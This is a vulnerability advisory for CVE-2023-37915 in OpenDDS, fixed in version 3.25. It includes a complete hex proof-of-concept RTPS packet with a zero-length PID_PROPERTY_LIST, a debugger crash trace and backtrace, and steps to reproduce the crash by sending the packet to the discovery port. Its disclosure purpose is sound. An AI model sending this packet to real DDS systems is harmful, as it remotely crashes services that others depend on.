Headline
CVE-2023-37915: Malformed PID_PROPERTY_LIST parameter in DATA submessage remotely crashes OpenDDS
OpenDDS is an open source C++ implementation of the Object Management Group (OMG) Data Distribution Service (DDS). OpenDDS crashes while parsing a malformed PID_PROPERTY_LIST
in a DATA submessage during participant discovery. Attackers can remotely crash OpenDDS processes by sending a DATA submessage containing the malformed parameter to the known multicast port. This issue has been addressed in version 3.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
OpenDDS crashes while parsing a malformed PID_PROPERTY_LIST in a DATA submessage during participant discovery. Attackers can remotely crash OpenDDS processes by sending a DATA submessage containing the malformed parameter to the known multicast port.
0000 15 05 00 00 00 00 10 00 00 01 00 c7 00 01 00 c2 ................
0010 00 00 00 00 01 00 00 00 00 03 00 00 15 00 04 00 ................
0020 8d 02 00 00 16 00 04 00 01 0f 00 00 50 00 10 00 ............P...
0030 01 0f 80 00 00 00 cd d0 00 73 68 65 72 00 00 00 .........sher...
0040 59 00 00 00 01 00 00 00 11 00 00 00 50 41 52 54 Y...........PART
0050 49 43 49 50 41 00 00 00 0a 00 00 0f 31 00 18 00 ICIPA.......1...
0060 01 00 00 00 f3 1c 00 00 00 00 00 00 00 00 00 00 ................
0070 00 00 00 00 0a 00 00 0f 02 00 3a 3a 3a 3a 3a 3a ..........::::::
0080 3a 00 00 00 58 00 04 00 3f 0c 00 00 62 00 10 00 :...X...?...b...
0090 0a 00 00 00 70 75 62 6c 69 73 68 65 72 00 00 00 ....publisher...
00a0 59 00 28 00 01 00 00 00 11 00 00 00 50 41 52 54 Y.(.........PART
00b0 49 43 7f 50 41 4e 54 5f 54 59 50 45 00 00 00 00 IC.PANT_TYPE....
00c0 00 00 07 00 53 49 4d 50 4c 45 00 00 01 00 00 00 ....SIMPLE......
59 00 // id: PID_PROPERTY_LIST
00 00 // len: 0 <-- supposed to be a lot larger than zero
01 00 // enc: CDR_LE
00 00 // opt: none
11 00 00 00 // data len: 17
50 41 52 54 ... // data: PART ...
Thread 4 "subscriber" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffeedfd700 (LWP 3375697)]
0x00007ffff74d7fd0 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::generic_sequence (this=0x7fffeedfa920, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:146
146 if (rhs.maximum_ == 0 || rhs.buffer_ == 0)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
*RAX 0x8
*RBX 0x7fffeedfa6e0 —▸ 0x7ffff7fc99b8 —▸ 0x7ffff7ffe450 —▸ 0x611000000180 —▸ 0x7ffff7ffe190 ◂— ...
*RCX 0x7fffeedfa928 ◂— 0x0
*RDX 0x1021c60 (__afl_area_initial) ◂— 0x41 /* 'A' */
*RDI 0x40e03
*RSI 0x40ecb
*R8 0x40e00
*R9 0x45401
*R10 0x45400
*R11 0x61d83c6e
*R12 0x7fffffff855e ◂— 0x10000
*R13 0x7fffffff855f ◂— 0x100
*R14 0x61d000001401 ◂— 0x70cc6e96b9cc6e96
*R15 0x7fffeedfcec0 ◂— 0x0
*RBP 0x7fffeedfa8f0 —▸ 0x7fffeedfaa10 —▸ 0x7fffeedfaa40 —▸ 0x7fffeedfaa70 —▸ 0x7fffeedfaaa0 ◂— ...
*RSP 0x7fffeedfa680 ◂— 0x41b58ab3
*RIP 0x7ffff74d7fd0 ◂— cmp dword ptr [rax], 0
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
► 0x7ffff74d7fd0 cmp dword ptr [rax], 0
0x7ffff74d7fd3 jne 0x7ffff74d800e <0x7ffff74d800e>
↓
0x7ffff74d800e mov rax, qword ptr [rbx + 0x1d8]
0x7ffff74d8015 add rax, 8
0x7ffff74d8019 mov qword ptr [rbx + 0x130], rax
0x7ffff74d8020 shr rax, 3
0x7ffff74d8024 cmp byte ptr [rax + 0x7fff8000], 0
0x7ffff74d802b je 0x7ffff74d803d <0x7ffff74d803d>
↓
0x7ffff74d803d mov rax, qword ptr [rbx + 0x130]
0x7ffff74d8044 cmp qword ptr [rax], 0
0x7ffff74d8048 jne 0x7ffff74d81fc <0x7ffff74d81fc>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────
In file: /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h
141 : maximum_(0)
142 , length_(0)
143 , buffer_(0)
144 , release_(false)
145 {
► 146 if (rhs.maximum_ == 0 || rhs.buffer_ == 0)
147 {
148 maximum_ = rhs.maximum_;
149 length_ = rhs.length_;
150 return;
151 }
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffeedfa680 ◂— 0x41b58ab3
01:0008│ 0x7fffeedfa688 —▸ 0x7ffff7a818f7 ◂— '1 32 24 7 tmp:152'
02:0010│ 0x7fffeedfa690 —▸ 0x7ffff74d7cf0 ◂— push rbp
03:0018│ 0x7fffeedfa698 —▸ 0x7ffff384d609 (start_thread+217) ◂— mov qword ptr fs:[0x630], rax
04:0020│ 0x7fffeedfa6a0 —▸ 0x7ffff404d74f (ACE_Thread_Adapter::invoke_i()+1519) ◂— mov qword ptr [rbx + 0xb8], rax
05:0028│ 0x7fffeedfa6a8 —▸ 0x7ffff404cfa0 (ACE_Thread_Adapter::invoke()+1056) ◂— mov rcx, rax
06:0030│ 0x7fffeedfa6b0 —▸ 0x7ffff3dbfded (ace_thread_adapter+157) ◂— mov qword ptr [rbp - 0x18], rax
07:0038│ 0x7fffeedfa6b8 —▸ 0x7ffff384d609 (start_thread+217) ◂— mov qword ptr fs:[0x630], rax
...
pwndbg> bt
#0 0x00007ffff74d7fd0 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::generic_sequence (this=0x7fffeedfa920, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:146
#1 0x00007ffff7771308 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::operator= (this=0x7fffeedfad98, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:167
#2 0x00007ffff77711c1 in TAO::unbounded_value_sequence<DDS::Property_t, int>::operator= (this=0x7fffeedfad98) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Unbounded_Value_Sequence_T.h:24
#3 0x00007ffff77710e9 in DDS::PropertySeq::operator= (this=0x7fffeedfad90) at ../../../dds/DdsDcpsCoreC.h:509
#4 0x00007ffff7770361 in DDS::PropertyQosPolicy::operator= (this=0x7fffeedfad90) at ../../../dds/DdsDcpsCoreC.h:639
#5 0x00007ffff7a3c2e7 in OpenDDS::RTPS::ParameterListConverter::from_param_list (param_list=..., proxy=...) at ParameterListConverter.cpp:649
#6 0x00007ffff7a3cfd2 in OpenDDS::RTPS::ParameterListConverter::from_param_list (param_list=..., participant_data=...) at ParameterListConverter.cpp:728
#7 0x00007ffff78433f5 in OpenDDS::RTPS::Spdp::data_received (this=0x616000000080, data=..., plist=..., from=...) at Spdp.cpp:1063
#8 0x00007ffff786e81b in OpenDDS::RTPS::Spdp::SpdpTransport::handle_input (this=0x61900000c880, h=6) at Spdp.cpp:3126
#9 0x00007ffff6136fad in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::notify_handle (this=0x61d000001480, handle=6, mask=1, ready_mask=..., event_handler=0x61900000cb80, ptmf=&virtual table offset 48) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:828
#10 0x00007ffff61367b1 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch_io_set (this=0x61d000001480, number_of_active_handles=1, number_of_handlers_dispatched=@0x7fffeedfc230: 1, mask=1, dispatch_mask=..., ready_mask=..., callback=&virtual table offset 48) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1212
#11 0x00007ffff6136028 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch_io_handlers (this=0x61d000001480, dispatch_set=..., number_of_active_handles=@0x7fffeedfc220: 1, number_of_handlers_dispatched=@0x7fffeedfc230: 1) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1270
#12 0x00007ffff6134fa8 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch (this=0x61d000001480, active_handle_count=1, dispatch_set=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1374
#13 0x00007ffff614e5f6 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::handle_events_i (this=0x61d000001480, max_wait_time=0x0) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1465
#14 0x00007ffff6127a0f in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::handle_events (this=0x61d000001480, max_wait_time=0x0) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1441
#15 0x00007ffff3fef07d in ACE_Reactor::run_reactor_event_loop (this=0x603000004900, eh=0x0) at Reactor.cpp:220
#16 0x00007ffff6120880 in OpenDDS::DCPS::ReactorTask::svc (this=0x613000000580) at DCPS/ReactorTask.cpp:172
#17 0x00007ffff404b34f in ACE_Task_Base::svc_run (args=0x613000000650) at Task.cpp:267
#18 0x00007ffff404d74f in ACE_Thread_Adapter::invoke_i (this=0x60b0000007d0) at Thread_Adapter.cpp:163
#19 0x00007ffff404cfa0 in ACE_Thread_Adapter::invoke (this=0x60b0000007d0) at Thread_Adapter.cpp:98
#20 0x00007ffff3dbfded in ace_thread_adapter (args=0x60b0000007d0) at Base_Thread_Adapter.cpp:126
#21 0x00007ffff384d609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#22 0x00007ffff3757133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
If we backtrace a bit, when we reach here in dds/DCPS/RTPS/ParameterListConverter.cpp, param.property is 0, later causing the assignment operator to fail while trying to access rhs.something:
In file: /home/seulbae/ddssecurity/targets/opendds-3.23.1/dds/DCPS/RTPS/ParameterListConverter.cpp
644 case PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT:
645 proxy.manualLivelinessCount.value =
646 param.count().value;
647 break;
648 case PID_PROPERTY_LIST:
► 649 proxy.property = param.property();
650 break;
pwndbg> print param.u_.property_
$21 = (DDS::PropertyQosPolicy *) 0x0
Thank you.
[Terminal 1] Execute opendds/DevGuideExamples/DCPS/Messenger/subscriber
[Terminal 2] Send the following RTPS packet to 127.0.0.1:7410:
0000 52 54 50 53 02 02 ff ff 01 0f 45 d2 b3 f5 58 b9
0010 01 00 00 00 15 05 00 00 00 00 10 00 00 01 00 c7
0020 00 01 00 c2 00 00 00 00 01 00 00 00 00 03 00 00
0030 15 00 04 00 8d 02 00 00 16 00 04 00 01 0f 00 00
0040 50 00 10 00 01 0f 80 00 00 00 cd d0 00 73 68 65
0050 72 00 00 00 59 00 00 00 01 00 00 00 11 00 00 00
0060 50 41 52 54 49 43 49 50 41 00 00 00 0a 00 00 0f
0070 31 00 18 00 01 00 00 00 f3 1c 00 00 00 00 00 00
0080 00 00 00 00 00 00 00 00 0a 00 00 0f 02 00 3a 3a
0090 3a 3a 3a 3a 3a 00 00 00 58 00 04 00 3f 0c 00 00
00a0 62 00 10 00 0a 00 00 00 70 75 62 6c 69 73 68 65
00b0 72 00 00 00 59 00 28 00 01 00 00 00 11 00 00 00
00c0 50 41 52 54 49 43 7f 50 41 4e 54 5f 54 59 50 45
00d0 00 00 00 00 00 00 07 00 53 49 4d 50 4c 45 00 00
00e0 01 00 00 00
Observe the crash (segmentation fault).